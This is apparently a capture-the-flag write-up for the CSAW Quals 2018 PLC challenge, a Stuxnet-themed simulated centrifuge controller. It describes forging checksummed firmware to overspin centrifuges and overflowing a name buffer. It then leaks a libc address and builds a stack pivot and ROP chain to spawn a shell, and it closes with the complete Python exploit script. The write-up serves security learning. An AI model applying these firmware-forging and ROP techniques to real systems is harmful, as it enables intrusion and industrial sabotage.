CSAW Quals 2018 | PLC Writeup
CSAW PLC Writeup: Didn’t get to solve it during the actual competition, but definitely recommend giving it a shot, very fun challenge.
enjoy the flag
The challenge was basically a twist on the well known stuxnet virus. It contained 6 sections that built on each other and was a generally fun and interesting challenge.
Execute the default firmware
By looking at the provide source code we can see that by entering
E the program will execute the currently loaded firmware
Create our own custom checksummed firmware
This was one of the harder/longer parts of the challenge. To solve this you had to reverse engineer both the custom
shellcode used by the centrifuge system, and understand what each command does, as well as reverse engineer the checksum algorithm to digitally sign our own payloads.
Through spending hours stairing at the debugger and following the code flows of different inputs we managed to discover the following commands the firmware would accept
- Reset RPM - 0x30
- Clear Material - 0x31
- Write one char to new material - 0x32
- RPM Override off = 0x33 0x30
- RPM Override on = 0x33 0x31
- Decrement RPM = 0x36
- Increment RPM = 0x37
- DEBUG ON = 0x38 0x31
- DEBUG OFF = 0x38 0x30
- EXIT = 0x39
And for custom checksum, we ported the assembler code directly into python instead of trying to understand and recreate it from scratch.
Also a firmware must be 0x400 characters long and in the format of ‘FW’ + checksum + version + commands Where the version is 2 numbers (eg 12)
Exceed Normal Centrifuge Speeds
With the knowledge gained from above, to spin the centrifuges to destruction, we enabled the RPM override, and then calling Increment RPM until the RPM was over a certain threshold. This was pretty trivial with our knowledge gained from the previous step.
Specify some “extra” dangerous materials
This part of the challenge stumped me for over an hour, I didn’t know what it meant by
"extra" dangerous materials.
Using the knowledge from above we could rename the materials used in the centrifuge by converting a string “HELLO” > “2H2E2L2L2O”. Simplying putting the digit 2 between each char.
We tried renaming the material to all sorts of things (yes i did google
most dangerous nuclear material and other interesting items and yes I’m definetely on a watchlist somewhere)
List of things we tried
- “extra” dangerous
Eventually someone in our team asked if we had tried specifying an extra long string…. nuff said, specify a string with like 100 character length and we get the points (no points just a tick yay)
JK lol get flag and cat shell
We had to put everything we had just learnt about this program, and try to somehow get shell.
I forgot to mention a few things..
- PIE/ASLR/NX Are enabled
- Execve in LIBC is corrupted so we can’t just do a simple ret2libc
- So we must somehow create a ROP chain that calls the execve syscall
We found that we were able to control RIP through a lethal
call edx gadget. However this would only give us a single gadget in which we had to get shell.
The trick is to pivot the shell through a nice
add rsp gadget into a different buffer we control.
The two buffers we control are
- The original terminal which has a 32 character size
- The name buffer we control with our command inputs
We can also get a leak because right after our name buffer, is a pointer to an address in libc. So if we fill our buffer with printable characters, we can print out the status/name of our centrifuge, and get an address leak.
With a libc leak the rop chain is trivial
- pop rax
- pop rdi
- pop rdx
- shell xx
So if we place the rop chain in our main buffer after “E”. The program only looks at the E and called execute, which will then execute our pivot gadget and pivot to our rop chain after the letter “E”. perfect.
14 hours of fun
My final python script
from interact import * import struct import time # globals WRITE = "2" RPM_ADD = "7" EXIT = "9" RPM_OVERRIDE = "31" DEBUG = "81" p = Process() time.sleep(5) #bugs? # helper functions def unpack(data, fmt="<Q"): return struct.unpack(fmt, data.ljust(8, "\x00")) def pack(data, fmt="<Q"): return struct.pack(fmt, data) def toWriteCommand(string): return WRITE + WRITE.join(list(string)) def generate_checksum(string): count = 2 scount = 0 rbp10 = 0 while count <= 0x1ff: eax = rbp10 eax <<= 0xc edx = eax eax = rbp10 eax >>= 0x4 eax |= edx rbp10 = eax + (count & 0xffff) rbp10 &= 0xFFFF eax = ord(string[scount]) + 16*16*ord(string[scount+1]) rbp10 ^= eax count += 1 scount += 2 return chr(rbp10 & 0xff) + chr(rbp10 >> 8) def gen_fw(rpm, overflow): commands = "12" # version commands += DEBUG commands += RPM_OVERRIDE # so no issues commands += toWriteCommand(overflow) # material cmd commands += (rpm * RPM_ADD) #overflow rpm commands += EXIT commands = commands.ljust(0x400 - 4, '\x00') # Checksum the above commands checksum = generate_checksum(commands) # return completed firmware return "FW" + checksum + commands p.sendline("U") #upload firewarm fw = gen_fw(63, "A" * 68 + "XXXXXXXX") p.send(fw) p.sendline("E") # execute firwware p.sendline("S") # Show status for libc leak print p.readuntil("XXXXXXXX") # Read until end of our payload leak = unpack(p.readuntil("\n").strip()) libc_base = leak - 0x36ec0 #leak address and calc offset to base of libc print "Libc leak ", hex(libc_base) pivot = pack(libc_base + 0xc96a6) # add rsp, 0x38 rop = "A" * 15 rop += pack(libc_base + 0x21102) #pop rdi rop += pack(libc_base + 0x18cd57) #binsh rop += pack(libc_base + 0x33544) #pop rax rop += pack(0x3b) #execve syscall rop += pack(libc_base + 0x202e8) #pop rsi rop += pack(0) rop += pack(libc_base + 0x1b92) #pop rdx rop += pack(0) rop += pack(libc_base + 0xbc375) #syscall p.sendline("U") #upload firmware fw = gen_fw(80, ("X" * 68) + pivot) p.send(fw) p.sendline("E" + rop) p.interactive()